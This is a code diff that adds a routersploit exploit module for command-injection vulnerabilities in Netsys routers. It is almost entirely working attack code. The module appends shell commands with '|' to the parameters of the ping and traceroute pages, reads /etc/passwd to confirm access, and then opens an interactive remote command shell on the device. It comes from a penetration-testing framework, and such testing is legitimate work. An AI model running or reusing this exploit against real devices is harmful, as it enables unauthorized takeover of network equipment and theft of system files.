Multiple Netsys RCE exploits

routersploit/modules/exploits/netsys/multi_rce.py

+import re
+
+from routersploit import (
+    exploits,
+    print_status,
+    print_error,
+    print_success,
+    http_request,
+    mute,
+    validators,
+    random_text,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Netsys multiple remote command execution vulnerabilities.
+    If the target is vulnerable it allows to execute commands on operating system level.
+    """
+    __info__ = {
+        'name': 'Netsys Multi RCE',
+        'description': 'Exploits Netsys multiple remote command execution vulnerabilities that allows executing commands on operating system level',
+        'authors': [
+            'admin <admin[at]bbs.00wz.top>',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'http://bbs.00wz.top/forum.php?mod=viewthread&tid=12630',
+        ],
+        'devices': [
+            'Multiple Netsys',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(9090, 'Target port')  # default port
+
+    injections = ["/view/IPV6/ipv6networktool/traceroute/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}",
+                  "/view/systemConfig/systemTool/ping/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}",
+                  "/view/systemConfig/systemTool/traceRoute/traceroute.php?text_target=127.0.0.1&text_ageout=2&text_minttl=1&text_maxttl=1|{}"]
+
+    valid = None
+
+    def run(self):
+        if self.check():
+            print_success("Target seems to be vulnerable")
+            print_status("Invoking command loop...")
+            shell(self, architecture="mipsel")
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    def execute(self, cmd):
+        marker = random_text(16)
+        cmd = cmd.replace(" ", "+")
+        payload = "echo+{};{};echo+{};".format(marker, cmd, marker)
+
+        inj = self.valid.format(payload)
+        url = "{}:{}{}".format(self.target, self.port, inj)
+
+        response = http_request(method="GET", url=url)
+        if response is None:
+            return ""
+
+        regexp = "{}(.+?){}".format(marker, marker)
+        res = re.findall(regexp, response.text, re.DOTALL)
+
+        if len(res):
+            return res[0]
+
+        return ""
+
+    @mute
+    def check(self):
+        cmd = "cat+/etc/passwd;"
+
+        for injection in self.injections:
+            inj = injection.format(cmd)
+            url = "{}:{}{}".format(self.target, self.port, inj)
+
+            response = http_request(method="GET", url=url)
+            if response is None:
+                continue
+
+            if "root:" in response.text:
+                self.valid = injection
+                return True  # target is vulnerable
+
+        return False  # target not vulnerable